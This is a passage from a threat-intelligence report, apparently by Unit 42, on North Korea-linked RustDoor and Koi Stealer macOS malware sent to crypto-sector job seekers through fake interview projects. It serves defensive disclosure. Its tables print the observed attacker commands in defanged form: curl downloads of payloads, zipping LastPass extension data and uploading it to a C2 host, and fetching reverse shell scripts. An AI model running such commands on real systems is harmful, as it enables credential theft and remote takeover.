RustDoor and Koi Stealer for macOS Used by North Korea-Linked Threat Actor to Target the Cryptocurrency Sector By Adva Gabay, Daniel Frank Published: 2025-02-26 · Archived: 2026-04-05 15:25:42 UTC Executive Summary Malware targeting macOS systems is increasingly pervasive in our current threat landscape. Most of the associated threats are cybercrime-related, ranging from information stealers to cryptocurrency mining. Over the past year, we have witnessed an increase in cybercrime activity linked to North Korean nation-state APT groups. In line with the public service announcement issued by the FBI regarding North Korean social engineering attacks, we have also witnessed several such social engineering attempts, targeting job-seeking software developers in the cryptocurrency sector. In this campaign, we discovered a Rust-based macOS malware nicknamed RustDoor masquerading as a legitimate software update, as well as a previously undocumented macOS variant of a malware family known as Koi Stealer. During our investigation, we observed rare evasion techniques, namely, manipulating components of macOS to remain under the radar. The characteristics of these attackers are similar to various reports during the past year of North Korean threat actors targeting other job seekers. We assess with a moderate level of confidence that this attack was carried out on behalf of the North Korean regime. This article details the activity of attackers within compromised environments. It also provides a technical analysis of the newly discovered Koi Stealer macOS variant and depicts the different stages of the attack through the lens of Cortex XDR. Palo Alto Networks customers are better protected against the RustDoor and Koi Stealer malware presented in this research through the following products and services: Cortex XDR and XSIAM Cloud-Delivered Security Services for the Next-Generation Firewall, such as Advanced WildFire, Advanced DNS Security and Advanced URL Filtering. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The Campaign’s Infection Vector This campaign’s infection vector bears similarities to previous research. https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/ Page 1 of 15 We have tracked activity from suspected North Korean threat actors in a campaign we track as CL-STA-240 and call Contagious Interview. In this campaign, attackers pose as recruiters or prospective employers and ask potential victims to install malware masquerading as legitimate development software as part of the vetting process. These attacks generally target job seekers in the tech industry and likely occur through email, messaging platforms or other online interview methods. While our research into this current activity reveals similarities with Contagious Interview, we did observe distinct tactics, techniques and procedures (TTPs) that cause us to consider this a separate campaign. Recent research from Jamf Threat Labs describes a similar attack method, this time using a malicious Visual Studio project challenge named “SlackToCSV” to target job-seeking software developers. In our research, we found forensic evidence of a similar malicious Visual Studio project in addition to other malicious projects. Moreover, one of the samples of the RustBucket malware named .zsh_env had the same hash as the ThiefBucket sample noted by Jamf Threat Labs. However, we found different command and control (C2) servers for other samples we encountered during our research. Execution and Download of Malware When examining attacker activity on the infected endpoints, we noticed their persistent nature, as attackers attempted to execute several different malware variants. When these attempts were prevented by Cortex XDR, the attackers tried redeploying and executing additional malware to evade detection. Analyzing one of these attacks, we can divide it into three distinct stages: Attempting to execute two RustDoor variants Trying an additional RustDoor variant and attempting a reverse shell Running a previously undocumented macOS Koi Stealer variant We describe these phases in the following sections, starting with the initial attempt to execute two RustDoor variants. Attempting to Execute Two RustDoor Binaries Initially, when executing the fake job interview project within Visual Studio, the malicious code attempts to download and execute two separate Mach-O binaries of RustDoor. Figure 1 shows the names and locations of these Mach-O files from a Cortex XDR alert blocking the activity. The paths of the RustDoor files are: /Users/$USER$/.zsh_env /Users/$USER$/Library/VisualStudioHelper Figure 1. RustDoor malware locations from the Cortex XDR alert blocking the activity. https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/ Page 2 of 15 An Additional RustDoor Binary and Attempting to Open a Reverse Shell After the first two RustDoor binaries’ executions were prevented, the attackers executed another sample of RustDoor. The malware then attempted to steal sensitive data such as passwords from the LastPass Google Chrome extension, exfiltrate data to its C2 server and download two additional bash scripts. These bash scripts are intended to open a reverse shell connection with the attackers. Figure 2 shows the different commands executed by this RustDoor binary. Figure 2. The execution and commands of the second RustDoor binary. Table 1 shows the different command lines from Figure 2 and their respective descriptions. Command Line Description curl -O -s hxxps://apple-ads-metric[.]com/npm Download RustDoor chflags hidden npm Set RustDoor to be hidden on disk chmod +x npm Grant RustDoor execution permissions log stream --predicate eventMessage contains "com.apple.restartInitiated" or eventMessage contains "com.apple.shutdownInitiated" --info  Retrieve information about shutdown and restart events zsh -c zip -r [redacted].zip /Users/$USER$/Library/Application\ Support/Google/Chrome/Default/Local\ Extension\ Settings/aeblfdkhhhdcdjpifhhbdiojplfjncoa     Steal LastPass data from Google Chrome's extension for LastPass zsh -c curl -F file=[redacted].zip hxxps://visualstudiomacupdate[.]com/tasks/upload_file Data exfiltration attempt https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/ Page 3 of 15 zsh -c curl -O -s hxxps://apple-ads-metric[.]com/back.sh  Reverse shell script No. 1 zsh -c curl -O -s hxxps://apple-ads-metric[.]com/sh.sh && chmod +x sh.sh  Reverse shell script No. 2 and grant execution permissions zsh -c mdfind -name .pem Searching for public keys Table 1. The command lines executed by RustDoor and their description. Figure 3 shows a Cortex XDR alert blocking attempts at reverse shell execution by both shell scripts to a C2 server at 31.41.244[.]92 over TCP port 443. Figure 3. The two reverse shell execution attempts to 31.41.244[.]92 prevented by Cortex XDR. The IP address (31.41.244[.]92) the reverse shell connection attempt was initiated from has a history of malicious use since at least 2022, and it was previously associated with RedLine Stealer. Executing a Previously Undocumented macOS Koi Stealer Variant The attackers downloaded and executed a final payload that we have identified as a previously undocumented variant of Koi Stealer malware. This Koi Stealer sample masqueraded as a VisualStudio update, which prompted the user to install it and grant it Administrator access. Figure 4 shows the execution process as detected in Cortex XDR. Figure 4. macOS Koi Stealer variant download as detected by Cortex XDR. The different command lines from Figure 2 and their respective descriptions are detailed below in Table 2, excluding commands similar to those described in Table 1. Command Line Description https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/ Page 4 of 15 sh -c tccutil reset AppleEvents Reset permissions for Apple Events sh -c ps aux List running processes sh -c system_profiler SPHardwareDataType Retrieve detailed information about the device’s hardware sh -c osascript<